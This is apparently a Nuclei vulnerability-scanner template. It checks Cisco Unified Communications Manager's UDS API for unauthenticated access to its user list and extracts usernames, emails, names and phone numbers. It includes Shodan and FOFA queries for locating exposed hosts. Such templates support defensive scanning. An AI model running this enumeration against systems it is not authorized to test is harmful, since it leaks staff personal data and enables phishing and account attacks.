cucm-username-enumeration: Cisco Unified Communications Manager - User Enumeration

id: cucm-username-enumeration

info:
  name: Cisco Unified Communications Manager - User Enumeration
  author: manasmbellani,Morgan Robertson
  severity: medium
  description: Cisco Unified Call Manager is vulnerable to username enumeration. This template enumerates valid usernames and emails from the Cisco UCM UDS API.
  remediation: To mitigate this, enable Contact Search Authentication.
  reference:
    - https://developer.cisco.com/site/user-data-services/develop-and-test/api-reference/#users
    - https://www.n00py.io/2022/01/unauthenticated-dumping-of-usernames-via-cisco-unified-call-manager-cucm/
  metadata:
    verified: true
    product: unified_communications_manager
    vendor: cisco
    shodan-query: html:"/ucmuser/"
    fofa-query: title="Unified Communications Self Care Portal"
  tags: cisco,ucm,enum,users,xml,cucm,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cucm-uds/users"

    headers:
      Accept: application/xml

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '<users'
          - '<userName>'
          - '<lastName>'
          - '<phoneNumber>'
        condition: and

      - type: dsl
        dsl:
          - contains(tolower(content_type), 'application/xml')
          - contains(tolower(content_type), 'text/xml')
        condition: or

    extractors:
      - type: xpath
        name: usernames
        xpath:
          - "/users/user/userName"

      - type: xpath
        name: emails
        xpath:
          - "/users/user/email"

      - type: xpath
        name: full_names
        xpath:
          - "concat(/users/user/firstName, ' ', /users/user/lastName)"

      - type: xpath
        name: phone_numbers
        xpath:
          - "/users/user/phoneNumber"

      - type: xpath
        name: mobile_numbers
        xpath:
          - "/users/user/mobileNumber"
# digest: 4a0a0047304502203e3f682fcf221ab03661942723f38a45ff8430a566bc8e663630b6509b5a53a5022100c375c2a204758b351ba684c82e8a3cc05a1c1c542b56a5dc230e81d065598dd7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.